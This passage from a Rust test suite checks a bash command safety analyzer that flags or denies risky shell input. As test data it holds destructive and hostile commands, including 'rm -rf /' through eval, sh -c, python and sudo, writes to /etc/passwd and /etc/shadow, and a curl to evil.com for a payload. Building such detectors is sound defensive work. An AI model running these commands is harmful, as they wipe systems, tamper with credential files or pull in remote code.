1109        assert!(analysis
1110            .warnings
1111            .iter()
1112            .any(|w| w.kind == BashWarningKind::ZshDangerous));
1113    }
1114
1115    // ---- Command substitution ----
1116
1117    #[test]
1118    fn detects_command_substitution() {
1119        let analysis = analyze_command("echo $(whoami)");
1120        assert!(analysis
1121            .warnings
1122            .iter()
1123            .any(|w| w.kind == BashWarningKind::CommandSubstitution));
1124        assert!(analysis.is_dangerous());
1125    }
1126
1127    #[test]
1128    fn detects_backtick_substitution() {
1129        let analysis = analyze_command("echo `whoami`");
1130        assert!(analysis
1131            .warnings
1132            .iter()
1133            .any(|w| w.kind == BashWarningKind::CommandSubstitution));
1134    }
1135
1136    // ---- Wrapper stripping ----
1137
1138    #[test]
1139    fn strips_nohup() {
1140        let analysis = analyze_command("nohup ls -la");
1141        assert_eq!(analysis.command_name.as_deref(), Some("ls"));
1142    }
1143
1144    #[test]
1145    fn strips_timeout() {
1146        let analysis = analyze_command("timeout 5 ls -la");
1147        assert_eq!(analysis.command_name.as_deref(), Some("ls"));
1148    }
1149
1150    #[test]
1151    fn strips_nohup_eval_detects_eval() {
1152        let analysis = analyze_command("nohup eval 'rm -rf /'");
1153        assert_eq!(analysis.verdict, BashVerdict::Deny);
1154        assert_eq!(analysis.command_name.as_deref(), Some("eval"));
1155        assert!(analysis
1156            .warnings
1157            .iter()
1158            .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1159    }
1160
1161    #[test]
1162    fn strips_time() {
1163        let analysis = analyze_command("time npm test");
1164        assert_eq!(analysis.command_name.as_deref(), Some("npm"));
1165    }
1166
1167    // ---- Complex constructs ----
1168
1169    #[test]
1170    fn detects_subshell() {
1171        let analysis = analyze_command("(cd /tmp && rm -rf *)");
1172        assert!(analysis
1173            .warnings
1174            .iter()
1175            .any(|w| w.kind == BashWarningKind::ComplexConstruct));
1176    }
1177
1178    #[test]
1179    fn detects_if_statement() {
1180        let analysis = analyze_command("if true; then echo yes; fi");
1181        assert!(analysis
1182            .warnings
1183            .iter()
1184            .any(|w| w.kind == BashWarningKind::ControlFlow));
1185    }
1186
1187    #[test]
1188    fn detects_for_loop() {
1189        let analysis = analyze_command("for i in 1 2 3; do echo $i; done");
1190        assert!(analysis
1191            .warnings
1192            .iter()
1193            .any(|w| w.kind == BashWarningKind::ControlFlow));
1194    }
1195
1196    #[test]
1197    fn detects_function_definition() {
1198        let analysis = analyze_command("foo() { echo bar; }");
1199        assert!(analysis
1200            .warnings
1201            .iter()
1202            .any(|w| w.kind == BashWarningKind::ComplexConstruct));
1203    }
1204
1205    // ---- Heredoc ----
1206
1207    #[test]
1208    fn detects_heredoc() {
1209        let analysis = analyze_command("cat <<EOF\nhello\nEOF");
1210        assert!(analysis
1211            .warnings
1212            .iter()
1213            .any(|w| w.kind == BashWarningKind::Heredoc));
1214    }
1215
1216    // ---- Process substitution ----
1217
1218    #[test]
1219    fn detects_process_substitution() {
1220        let analysis = analyze_command("diff <(ls a) <(ls b)");
1221        assert!(analysis
1222            .warnings
1223            .iter()
1224            .any(|w| w.kind == BashWarningKind::ProcessSubstitution));
1225    }
1226
1227    // ---- Brace expansion ----
1228
1229    #[test]
1230    fn detects_brace_expansion() {
1231        let analysis = analyze_command("echo {1..5}");
1232        assert!(analysis
1233            .warnings
1234            .iter()
1235            .any(|w| w.kind == BashWarningKind::BraceExpansion));
1236    }
1237
1238    // ---- Analysis summary ----
1239
1240    #[test]
1241    fn safe_command_summary() {
1242        let analysis = analyze_command("ls -la");
1243        assert_eq!(analysis.summary(), "safe");
1244    }
1245
1246    #[test]
1247    fn dangerous_command_summary_contains_detail() {
1248        let analysis = analyze_command("eval 'hello'");
1249        assert!(analysis.summary().contains("EvalLikeBuiltin"));
1250    }
1251
1252    // ---- Empty / edge cases ----
1253
1254    #[test]
1255    fn empty_command_is_safe() {
1256        let analysis = analyze_command("");
1257        // Empty parses as empty program — safe
1258        assert!(!analysis.is_dangerous() || analysis.command_name.is_none());
1259    }
1260
1261    #[test]
1262    fn control_characters_denied() {
1263        let analysis = analyze_command("echo \x01hello");
1264        assert_eq!(analysis.verdict, BashVerdict::Deny);
1265    }
1266
1267    // ---- Phase 2: Redirect Analysis ----
1268
1269    #[test]
1270    fn test_redirect_to_sensitive_path() {
1271        let analysis = analyze_command("echo hacked > /etc/passwd");
1272        assert_eq!(analysis.verdict, BashVerdict::Deny);
1273        assert!(analysis
1274            .warnings
1275            .iter()
1276            .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath));
1277    }
1278
1279    #[test]
1280    fn test_redirect_append_sensitive_path() {
1281        let analysis = analyze_command("echo data >> /etc/shadow");
1282        assert_eq!(analysis.verdict, BashVerdict::Deny);
1283        assert!(analysis
1284            .warnings
1285            .iter()
1286            .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath));
1287    }
1288
1289    #[test]
1290    fn test_redirect_safe_path() {
1291        let analysis = analyze_command("echo hello > /tmp/output.txt");
1292        assert_eq!(analysis.verdict, BashVerdict::Safe);
1293        assert!(!analysis
1294            .warnings
1295            .iter()
1296            .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath));
1297    }
1298
1299    // ---- Phase 2: Variable-as-Command ----
1300
1301    #[test]
1302    fn test_variable_as_command() {
1303        let analysis = analyze_command("$cmd arg1 arg2");
1304        assert_eq!(analysis.verdict, BashVerdict::Deny);
1305        assert!(analysis
1306            .warnings
1307            .iter()
1308            .any(|w| w.kind == BashWarningKind::VariableAsCommand));
1309    }
1310
1311    #[test]
1312    fn test_braced_variable_as_command() {
1313        let analysis = analyze_command("${cmd} arg1");
1314        assert_eq!(analysis.verdict, BashVerdict::Deny);
1315        assert!(analysis
1316            .warnings
1317            .iter()
1318            .any(|w| w.kind == BashWarningKind::VariableAsCommand));
1319    }
1320
1321    // ---- Phase 2: Suspicious Arguments ----
1322
1323    #[test]
1324    fn test_suspicious_python_eval() {
1325        let analysis = analyze_command("python -c 'import os; os.system(\"rm -rf /\")'");
1326        assert!(analysis
1327            .warnings
1328            .iter()
1329            .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1330        assert!(analysis.is_dangerous());
1331    }
1332
1333    #[test]
1334    fn test_suspicious_python_dash_e() {
1335        let analysis = analyze_command("python -e 'print(1)'");
1336        assert!(analysis
1337            .warnings
1338            .iter()
1339            .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1340    }
1341
1342    #[test]
1343    fn test_suspicious_shell_dash_c() {
1344        let analysis = analyze_command("sh -c 'rm -rf /'");
1345        assert!(analysis
1346            .warnings
1347            .iter()
1348            .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1349    }
1350
1351    #[test]
1352    fn test_suspicious_find_exec() {
1353        let analysis = analyze_command("find / -exec rm {} \\;");
1354        assert!(analysis
1355            .warnings
1356            .iter()
1357            .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1358    }
1359
1360    // ---- Phase 2: Network Commands ----
1361
1362    #[test]
1363    fn test_network_command_curl() {
1364        let analysis = analyze_command("curl http://evil.com/payload");
1365        assert!(analysis
1366            .warnings
1367            .iter()
1368            .any(|w| w.kind == BashWarningKind::NetworkCommand));
1369        assert!(analysis.is_dangerous());
1370    }
1371
1372    #[test]
1373    fn test_network_command_wget() {
1374        let analysis = analyze_command("wget http://example.com/file");
1375        assert!(analysis
1376            .warnings
1377            .iter()
1378            .any(|w| w.kind == BashWarningKind::NetworkCommand));
1379    }
1380
1381    #[test]
1382    fn test_network_command_ssh() {
1383        let analysis = analyze_command("ssh user@host");
1384        assert!(analysis
1385            .warnings
1386            .iter()
1387            .any(|w| w.kind == BashWarningKind::NetworkCommand));
1388    }
1389
1390    // ---- Phase 2: Privilege Escalation ----
1391
1392    #[test]
1393    fn test_privilege_escalation_sudo() {
1394        let analysis = analyze_command("sudo rm -rf /");
1395        assert!(analysis
1396            .warnings
1397            .iter()
1398            .any(|w| w.kind == BashWarningKind::PrivilegeEscalation));
1399        assert!(analysis.is_dangerous());
1400    }
1401
1402    #[test]
1403    fn test_privilege_escalation_su() {
1404        let analysis = analyze_command("su - root");
1405        assert!(analysis
1406            .warnings
1407            .iter()
1408            .any(|w| w.kind == BashWarningKind::PrivilegeEscalation));
1409    }
1410
1411    #[test]
1412    fn test_privilege_escalation_doas() {
1413        let analysis = analyze_command("doas ls /root");
1414        assert!(analysis
1415            .warnings
1416            .iter()
1417            .any(|w| w.kind == BashWarningKind::PrivilegeEscalation));
1418    }
1419
1420    // ---- Phase 2: Permission Modification ----
1421
1422    #[test]
1423    fn test_permission_modification() {
1424        let analysis = analyze_command("chmod 777 /etc/shadow");
1425        assert!(analysis
1426            .warnings
1427            .iter()
1428            .any(|w| w.kind == BashWarningKind::PermissionModification));
1429        assert!(analysis.is_dangerous());
1430    }
1431
1432    #[test]
1433    fn test_permission_modification_safe_path() {
1434        let analysis = analyze_command("chmod 755 /tmp/script.sh");
1435        // Safe path — no warning
1436        assert!(!analysis
1437            .warnings
1438            .iter()
1439            .any(|w| w.kind == BashWarningKind::PermissionModification));
1440    }
1441
1442    #[test]
1443    fn test_chown_sensitive() {
1444        let analysis = analyze_command("chown root:root /etc/passwd");
1445        assert!(analysis
1446            .warnings
1447            .iter()
1448            .any(|w| w.kind == BashWarningKind::PermissionModification));
1449    }
1450
1451    // ---- Phase 2: Timeout and Node Budget ----
1452
1453    #[test]
1454    fn test_analysis_budget_not_exceeded() {
1455        let analysis = analyze_command("ls -la");
1456        assert_eq!(analysis.verdict, BashVerdict::Safe);
1457        assert!(analysis.analysis_time_ms < 100);
1458        assert!(analysis.node_count < 1000);
1459    }
1460
1461    // ---- Phase 2: Heredoc Content Analysis ----
1462
1463    #[test]
1464    fn test_heredoc_with_expansion() {
1465        let analysis = analyze_command("cat << EOF\n$(dangerous)\nEOF");
1466        assert!(analysis
1467            .warnings
1468            .iter()
1469            .any(|w| w.kind == BashWarningKind::HeredocExpansion));
1470        assert!(analysis.is_dangerous());
1471    }
1472
1473    #[test]
1474    fn test_heredoc_with_variable_expansion() {
1475        let analysis = analyze_command("cat << EOF\n$HOME\nEOF");
1476        assert!(analysis
1477            .warnings
1478            .iter()
1479            .any(|w| w.kind == BashWarningKind::HeredocExpansion));
1480    }
1481
1482    #[test]
1483    fn test_heredoc_without_expansion() {
1484        let analysis = analyze_command("cat << 'EOF'\nhello world\nEOF");
1485        // No expansion in quoted heredoc
1486        assert!(!analysis
1487            .warnings
1488            .iter()
1489            .any(|w| w.kind == BashWarningKind::HeredocExpansion));
1490    }
1491}